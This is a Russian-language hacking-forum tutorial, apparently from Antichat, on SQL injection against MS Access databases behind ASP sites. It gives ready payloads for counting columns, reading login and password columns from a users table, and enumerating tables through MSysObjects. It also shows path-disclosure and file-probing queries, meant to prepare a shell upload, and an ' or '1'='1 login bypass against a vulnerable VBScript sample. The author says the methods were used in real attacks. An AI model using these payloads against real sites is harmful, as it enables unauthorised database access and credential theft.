Hacked Me
Главная
Регистрация
 Administrator ICQ 399114574
По умолчанию Проведение SQL инъекций в Microsoft Access

Проведение SQL инъекций в Microsoft Access


[Введение]

В данной статье я хочу развеять миф и слухи о том, что проведение SQL инъекций в MSAccess не возможно.
Достаточно часто встречал вопросы, по этой теме, в том числе и на нашем форуме, но не видел вразумительных ответов =\
При этом ресурсы использующие MS Access достаточно распространены в сети.
Прежде чем начать, скажу, что методы приведенные в данной статье, неоднократно проверены и применялись при реальном проведении инъекций =)

[Особенности MS Access]

Вначале приведу некоторые свойства, которые необходимо учитывать при проведении инъекции в
MS Access. Сразу хочу оговориться, что в статье рассматривается проведение инъекций в
операторе SELECT. Хотя проведение инъекций в операторах INSERT, UPDATE и DELETE, так же
возможно.
В MS Access, так же как и в MySQL и в PostgreSQL, инъекция проводится путем использования
оператора UNION, т.е. с составлением объединенного запроса(далее по тексту подзапроса).

Очень важным свойством является то, что все запросы SELECT должны производиться из какой-то
таблицы, т.е. синтаксис запроса всегда должен содержать слово FROM и имя таблицы.
Синтаксис SELECT:

Код:
select [Предикат] Поля from Таблицы [in БазаДанных] [where ...] [group by ...] [having ...] [order by ...];


Необязательные аргументы заключены в [ ].

Немаловажным свойством является отсутствие оператора [B]LIMIT
, вместо него можно использовать
оператор TOP X START AT Y.

Так же очень важным свойством, является отсутствие символов комментариев, что делает
невозможным усечение основного запроса.

Нет возможности использования нескольких запросов с применением разделителя “;”, данный
символ означает окончание запроса, его подстановкой можно определить наличие каких-либо
конструкций за уязвимым параметром, но не их выполнение.

[Обнаружение MS Access]

Как правило однозначно идентифицировать MS Access можно при обнаружении двух ошибок
следующего содержания:

Код:
[Microsoft][ODBC Microsoft Access Driver] Syntax error ....


или

Код:
Microsoft JET Database Engine error '80040e14' Syntax error in string ....

В любом случае работаем с Access.

[Подбор столбцов]

Пусть ошибка присутствует в параметре id:

Код:
www.site.com/view.asp?id=1’

Определение количества столбцов присутствующих в основном запросе происходит так же, как и в MySQL. Так как оператор UNION требует одинакового количества столбцов, как в основном запросе, так и в подзапросе нам нужно количество этих столбцов определить.

Для подбора столбцов существует 2 известных способа. Но при этом необходимо учитывать особенность MS Access и подбор столбцов перебором с помощью union select осуществлять только в случае, если мы знаем точно имя какой-то таблицы в базе и имеем к ней доступ на чтение!

1. Простой перебор.

Допустим мы знаем о существовании таблицы users и имеем к ней доступ на чтение. Составим следующий запрос

Код:
www.site.com/view.asp?id=-1+union+select+1+from+users


Если появилась ошибка:

Код:
The number of columns in the two selected tables or queries of a union query do not match.

увеличиваем количество столбцов на один
Код:
www.site.com/view.asp?id=-1+union+select+1, 2+from+users


и так пока не исчезнет ошибка.

2. Использование оператора ORDER BY

Второй способ намного быстрее и приятнее, если количество столбцов достаточно большое.
И что самое главное позволяет определить количество столбцов, без знания имен таблиц в базе.

Составим следующий запрос

Код:
www.site.com/view.asp?id=-1+order+by+1


если ошибка с номером:

Код:
error '80020009'

значит столбцов 1 или более 1

Код:
www.site.com/view.asp?id=-1+order+by+99999

При таком запросе должна появиться ошибка:
Код:
Microsoft JET Database Engine error '80040e14' The Microsoft Jet database engine does not recognize '99999' as a valid field name or expression.


что означает столбцов меньше 99999. Далее таким же образом уменьшаем границы выбранного интервала слева и справа и в конечном итоге определяем реальное количество столбцов в основном запросе.

[Определение принтабельных столбцов]

Для определения принтабильных столбцов, нам необходимо знать имя любой таблицы.
Если например столбцов основном запросе 4, то составим запрос:
Код:
www.site.com/view.asp?id=-1+union+select+1,2,3,4+from+users

И обнаружив соответствующую цифру на выведенной странице мы обнаружим номер принтабельного столбца.

[Получение информации]

После того как мы узнали количество столбцов и какие из них принтабельны, мы можем смело переходить к получению необходимой информации из базы. Хорошо если нам известны определенные таблицы в базе и столбцы в них, тогда получение информации не составит особого труда.
Например, если существует таблица USERS со столбцами ID,LOGIN и PASSWORD, то запрос на получение этих данных будет выглядеть следующим образом

Код:
www.site.com/view.asp?id=-1+union+select+1, login, password, 4+from+users+where+id=123



[Таблицы]

Если пользовательские таблицы нам неизвестны, то мы можем попробывать получить различную информацию из системных таблиц MS Access. Хотя доступ к ним по умолчанию запрещен, всякое бывает.
В Access существуют следующие системные таблицы:
Код:
MSysACEs MSysCmdbars MSysModules MSysModules2 MSysObjects MSysQueries MSysRelationships

Наибольший интерес представляет таблица, MSysObjects которая содержит имена всех таблиц в базе. Вытаскиваем имена таблиц, кроме системных(системные имеют type=1):

Код:
www.site.com/view.asp?id=-1+union+select+1,name,3,4+from+MSysObjects+where+M SysObjects.Type=6

Для получения следующего имени таблицы воспользуемся оператором TOP:
Код:
www.site.com/view.asp?id=-1+union+select+top+1+start+at+2+1,name,3,4+from+MS ysObjects+where+MSysObjects.Type=6

Таким образом, перебирая записи мы можем посмотреть по очереди все имена таблиц.

Если все таки, мы не имеем доступа к системным таблицам, что встречается чаще, то для выявления необходимых таблиц, остается только метод перебора с учетом вероятных названий различных переменных в html формах. Например, если есть форма аутентификации с логином и паролем, то скорее всего есть таблица с названием users, logins, etc...

[Раскрытие путей]

Хорошей особенностью обладают инъекции в MS Access, с их помощью можно определить существование и расположение необходимых директорий и файлов, например для заливки шелла через другие баги на сайте.

1. Раскрытие системной директории.
Составим запрос:
Код:
www.site.com/view.asp?id=-1+union+select+*+from+msysobjects+in+'.'

главная часть запроса '.', имя столбца и таблицы не важно.
в результате получим ошибку и в ней путь:
Код:
Microsoft JET Database Engine error '80004005' The Microsoft Jet database engine cannot open the file 'c:\winnt\system32\'. It is already opened exclusively by another user, or you need permission to view its data.


2. Подтверждение существования файла.

Составим запрос:
Код:
www.site.com/view.asp?id=-1+union+select+*+from+msysobjects+in+'с:\boot.ini'


Если файл не существует, то получим ошибку:
Код:
Microsoft JET Database Engine error '80004005' Could not find file 'C:\boot.ini'

Если существует, то ошибку:

Код:
Microsoft JET Database Engine error '80004005' Unrecognized database format 'C:\boot.ini'


3. Подтверждение существования директории.

Составим запрос:
Код:
www.site.com/view.asp?id=-1+union+select+*+from+msysobjects+in+'с:\inetpub\s qlerr'

Если дира не существует, то получим ошибку:
Код:
Microsoft JET Database Engine error '80004005' 'с:\inetpub\sqlerr' is not a valid path.

Если существует, то ошибку:

Код:
Microsoft JET Database Engine error '80004005' Could not find file 'с:\inetpub\sqlerr'


[Обход простой Авторизации]

Прежде необходимо отметить, что инъекции в POST-параметрах, так же возможны, проводятся аналогично GET-параметрам, ошибки выводятся, аналогичные если нет редиректа.
Инъекции в текстовых GET/POST параметрах, проводятся путем использования закрывающей и открывающей кавычек, например:

Код:
www.site.com/view.asp?name=as'+and+'1


Для более глубокого понимания обхода базовой авторизации рассмотрим простой скрипт:
Код:
user = request("user") pass = request("pass") Set Conn = Server.CreateObject("ADODB.Connection") Set Rs = Server.CreateObject("ADODB.Recordset") Conn.Open dsn SQL = "SELECT * FROM users where pass='"& pass &"' and user='"& user & "'" rs.open sql,conn if rs.eof and rs.bof then ' Access Denied else ' Access Allowed end if

Теперь видно каким образом происходит взаимодействие с базой из VBScript.
Для обхода такой авторизации, необходимо ввести в поля логин и пароль следующие значения:
Код:
user = ' or '1'='1 pass = test


[Копирайты]

При написании статьи использовались следующие материалы:
Описание системной таблицы MS Access - MSysObjects,Автор NSA http://hiprog.com/index.php?option=com_content&task=view&id=297&Itemid=35
Оборотная сторона Microsoft Access, Автор Александр Запольскис http://adm.jinr.ru/doc/access/page18.htm
Access SQL Injection, Brett Moore
http://seclists.org/pen-test/2003/May/0074.html
Статья [cash], Проведение инъекций в MSSQL сервере от Microsoft, https://forum.antichat.ru/showthread.php?t=30501
MSDN + мои практические наработки =)

[ЗЫ]

Надеюсь на то, что статья заполнит пробел в серии античатовских статей по SQL-инъекциям =)
Конструктивная критика и дополнения приветствуются =)

Специально для Antichat, [53x]Shadow©